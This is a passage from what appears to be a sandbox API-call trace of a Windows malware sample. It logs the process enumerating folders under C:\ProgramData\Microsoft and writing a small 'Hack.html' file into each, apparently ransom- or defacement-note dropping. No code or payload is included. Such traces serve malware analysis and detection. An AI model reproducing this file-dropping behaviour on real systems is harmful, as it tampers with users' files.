hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.424] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.424] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x29 [0071.424] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\", lpFilePart=0x0) returned 0x2a [0071.424] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.424] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.424] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.424] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\Hack.html", lpFilePart=0x0) returned 0x33 [0071.424] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\Hack.html" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.425] GetFileType (hFile=0x174) returned 0x1 [0071.425] GetFileType (hFile=0x174) returned 0x1 [0071.425] WriteFile (in: hFile=0x174, lpBuffer=0x28b1630*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x28b1630*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0071.426] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Hack.html", lpFilePart=0x0) returned 0x2e [0071.426] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Hack.html" (normalized: "c:\\programdata\\microsoft\\search\\data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.426] GetFileType (hFile=0x174) returned 0x1 [0071.426] GetFileType (hFile=0x174) returned 0x1 [0071.426] WriteFile (in: hFile=0x174, lpBuffer=0x28b3df0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28b3df0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Hack.html", lpFilePart=0x0) returned 0x29 [0071.427] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Hack.html" (normalized: "c:\\programdata\\microsoft\\search\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.428] GetFileType (hFile=0x174) returned 0x1 [0071.428] GetFileType (hFile=0x174) returned 0x1 [0071.428] WriteFile (in: hFile=0x174, lpBuffer=0x28b6598*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28b6598*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.429] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x2e [0071.429] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\", lpFilePart=0x0) returned 0x2f [0071.429] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.429] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.429] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x2e [0071.429] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\", lpFilePart=0x0) returned 0x2f [0071.429] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.429] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.430] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.430] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x3f [0071.430] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\", lpFilePart=0x0) returned 0x40 [0071.430] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.439] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.440] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.440] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x3f [0071.441] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\", lpFilePart=0x0) returned 0x40 [0071.441] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.442] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.443] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", lpFilePart=0x0) returned 0x49 [0071.443] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.445] GetFileType (hFile=0x174) returned 0x1 [0071.445] GetFileType (hFile=0x174) returned 0x1 [0071.445] WriteFile (in: hFile=0x174, lpBuffer=0x28c42c8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28c42c8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.446] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Hack.html", lpFilePart=0x0) returned 0x38 [0071.447] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Hack.html" (normalized: "c:\\programdata\\microsoft\\user account pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.449] GetFileType (hFile=0x174) returned 0x1 [0071.449] GetFileType (hFile=0x174) returned 0x1 [0071.450] WriteFile (in: hFile=0x174, lpBuffer=0x28c6ab0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28c6ab0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.451] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault", lpFilePart=0x0) returned 0x1e [0071.451] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\", lpFilePart=0x0) returned 0x1f [0071.451] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.451] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.451] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault", lpFilePart=0x0) returned 0x1e [0071.452] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\", lpFilePart=0x0) returned 0x1f [0071.452] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.452] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.452] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\Hack.html", lpFilePart=0x0) returned 0x28 [0071.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\Hack.html" (normalized: "c:\\programdata\\microsoft\\vault\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.456] GetFileType (hFile=0x174) returned 0x1 [0071.456] GetFileType (hFile=0x174) returned 0x1 [0071.456] WriteFile (in: hFile=0x174, lpBuffer=0x28ca2bc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28ca2bc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\VISIO", lpFilePart=0x0) returned 0x1e [0071.458] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\VISIO\\", lpFilePart=0x0) returned 0x1f [0071.458] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.459] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.459] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\VISIO", lpFilePart=0x0) returned 0x1e [0071.459] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\VISIO\\", lpFilePart=0x0) returned 0x1f [0071.459] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.459] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.459] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\VISIO\\Hack.html", lpFilePart=0x0) returned 0x28 [0071.460] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\Hack.html" (normalized: "c:\\programdata\\microsoft\\visio\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.460] GetFileType (hFile=0x174) returned 0x1 [0071.460] GetFileType (hFile=0x174) returned 0x1 [0071.460] WriteFile (in: hFile=0x174, lpBuffer=0x28cdac8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28cdac8*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x20 [0071.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\", lpFilePart=0x0) returned 0x21 [0071.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.463] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x20 [0071.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\", lpFilePart=0x0) returned 0x21 [0071.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.463] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x29 [0071.466] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\", lpFilePart=0x0) returned 0x2a [0071.466] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0071.467] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.467] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x29 [0071.467] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\", lpFilePart=0x0) returned 0x2a [0071.467] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0071.467] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.468] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\Hack.html", lpFilePart=0x0) returned 0x33 [0071.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\Hack.html" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0071.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39dab8) returned 1 [0071.470] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Hack.html", lpFilePart=0x0) returned 0x2a [0071.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.470] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Hack.html" (normalized: "c:\\programdata\\microsoft\\wwansvc\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.470] GetFileType (hFile=0x174) returned 0x1 [0071.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.470] GetFileType (hFile=0x174) returned 0x1 [0071.470] WriteFile (in: hFile=0x174, lpBuffer=0x26d26ec*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26d26ec*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.471] CloseHandle (hObject=0x174) returned 1 [0071.472] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x22 [0071.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.472] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Hack.html" (normalized: "c:\\programdata\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.473] GetFileType (hFile=0x174) returned 0x1 [0071.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.473] GetFileType (hFile=0x174) returned 0x1 [0071.473] WriteFile (in: hFile=0x174, lpBuffer=0x26d4e7c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26d4e7c*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.474] CloseHandle (hObject=0x174) returned 1 [0071.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.475] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help", lpFilePart=0x0) returned 0x1d [0071.475] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help\\", lpFilePart=0x0) returned 0x1e [0071.475] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a168 [0071.482] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.483] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: 